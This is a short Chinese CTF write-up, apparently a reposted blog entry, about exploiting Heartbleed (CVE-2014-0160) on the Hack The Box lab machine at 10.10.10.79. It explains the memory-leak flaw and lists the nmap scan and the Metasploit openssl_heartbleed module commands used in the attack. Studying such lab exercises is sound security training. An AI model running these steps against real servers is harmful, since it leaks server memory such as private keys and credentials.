心脏滴血漏洞

前言：

做了一下午的CTF在做hack the box中的

黑色情人节中，发现了心脏滴血漏洞故此做

总结。

正文：

目标：10.10.10.79

nmap开扫

nmap 10.10.10.79

　

开启的端口有22,80,443,5802

打开10.10.10.79:80一看

明显的提示（CVE-2014-0160）

漏洞描述：

Heartbleed漏洞，这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，这样一来受害者的内存内容就会以每次64KB的速度进行泄露。

详细：https://baike.baidu.com/item/Heartbleed/13580882?fr=aladdin&fromid=13579697&fromtitle=%E5%BF%83%E8%84%8F%E5%87%BA%E8%A1%80%E6%BC%8F%E6%B4%9E

实施攻击：

通过搜索我发现metasploit中有该漏洞的exp。

use auxiliary/scanner/ssl/openssl_heartbleed 

查看其需要配置的 show options

set RHOSTS 10.10.10.79

run

set verbose true 

run

攻击成功的页面

 

转载于:https://www.cnblogs.com/haq5201314/p/8684746.html